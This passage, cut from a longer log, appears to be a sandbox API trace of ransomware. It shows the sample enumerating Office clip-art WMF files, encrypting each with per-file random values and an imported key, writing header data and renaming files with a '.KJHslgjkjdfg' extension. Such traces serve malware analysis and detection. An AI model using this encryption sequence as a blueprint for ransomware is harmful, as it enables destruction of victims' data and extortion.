pdwDataLen=0x290f258*=0x670) returned 1 [0185.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.720] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x670, lpOverlapped=0x0) returned 1 [0185.720] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.720] SetEndOfFile (hFile=0x114) returned 1 [0185.723] GetProcessHeap () returned 0x2a0000 [0185.723] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.723] GetProcessHeap () returned 0x2a0000 [0185.723] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02092_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02092_.wmf.kjhslgjkjdfg")) returned 1 [0185.725] CloseHandle (hObject=0x114) returned 1 [0185.725] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x308e2500, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x308e2500, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02093_.WMF", cAlternateFileName="")) returned 1 [0185.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.726] GetProcessHeap () returned 0x2a0000 [0185.726] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.726] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.726] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.726] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.726] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.726] GetProcessHeap () returned 0x2a0000 [0185.726] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.726] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.726] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.726] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.727] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.728] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.728] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.728] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.728] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a0, lpOverlapped=0x0) returned 1 [0185.728] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a0, dwBufLen=0x2a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a0) returned 1 [0185.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.728] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a0, lpOverlapped=0x0) returned 1 [0185.728] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.728] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.728] SetEndOfFile (hFile=0x114) returned 1 [0185.731] GetProcessHeap () returned 0x2a0000 [0185.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.731] GetProcessHeap () returned 0x2a0000 [0185.731] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02093_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02093_.wmf.kjhslgjkjdfg")) returned 1 [0185.732] CloseHandle (hObject=0x114) returned 1 [0185.733] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29651800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29651800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x1fe8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02124_.WMF", cAlternateFileName="")) returned 1 [0185.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.734] GetProcessHeap () returned 0x2a0000 [0185.734] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.734] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.734] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.734] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.740] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.740] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.740] GetProcessHeap () returned 0x2a0000 [0185.740] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.740] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.740] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.740] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.740] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.740] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.740] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.740] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.741] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.741] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.741] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.741] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1fe8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1fe8, lpOverlapped=0x0) returned 1 [0185.741] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ff0, dwBufLen=0x1ff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ff0) returned 1 [0185.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.742] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ff0, lpOverlapped=0x0) returned 1 [0185.742] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.742] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x20c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.742] SetEndOfFile (hFile=0x114) returned 1 [0185.744] GetProcessHeap () returned 0x2a0000 [0185.744] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.744] GetProcessHeap () returned 0x2a0000 [0185.744] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02124_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02124_.wmf.kjhslgjkjdfg")) returned 1 [0185.751] CloseHandle (hObject=0x114) returned 1 [0185.751] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f8b800, ftCreationTime.dwHighDateTime=0x1bd4bd0, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50f8b800, ftLastWriteTime.dwHighDateTime=0x1bd4bd0, nFileSizeHigh=0x0, nFileSizeLow=0x4816, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02125_.WMF", cAlternateFileName="")) returned 1 [0185.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.753] GetProcessHeap () returned 0x2a0000 [0185.753] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.753] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.753] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.753] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0185.755] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.755] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.755] GetProcessHeap () returned 0x2a0000 [0185.755] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.756] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.756] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.756] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.756] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.756] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.756] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.756] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.756] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.756] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.756] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4816, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4816, lpOverlapped=0x0) returned 1 [0185.757] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4820, dwBufLen=0x4820 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4820) returned 1 [0185.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.757] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4820, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4820, lpOverlapped=0x0) returned 1 [0185.758] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.758] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x48f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.758] SetEndOfFile (hFile=0x114) returned 1 [0185.760] GetProcessHeap () returned 0x2a0000 [0185.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.761] GetProcessHeap () returned 0x2a0000 [0185.761] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02125_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02125_.wmf.kjhslgjkjdfg")) returned 1 [0185.762] CloseHandle (hObject=0x114) returned 1 [0185.763] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x819c1a00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5951e930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x819c1a00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x7c50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02126_.WMF", cAlternateFileName="")) returned 1 [0185.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.764] GetProcessHeap () returned 0x2a0000 [0185.764] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.764] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.764] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.764] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.764] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.764] GetProcessHeap () returned 0x2a0000 [0185.764] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.764] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.764] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.764] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.766] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.766] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.766] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.766] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.766] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.766] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.766] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c50, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c50, lpOverlapped=0x0) returned 1 [0185.767] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50) returned 1 [0185.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.768] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c50, lpOverlapped=0x0) returned 1 [0185.768] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.768] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.768] SetEndOfFile (hFile=0x114) returned 1 [0185.771] GetProcessHeap () returned 0x2a0000 [0185.771] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.771] GetProcessHeap () returned 0x2a0000 [0185.771] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02126_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02126_.wmf.kjhslgjkjdfg")) returned 1 [0185.772] CloseHandle (hObject=0x114) returned 1 [0185.773] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9355900, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9355900, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xfe4, dwReserved0=0x0, 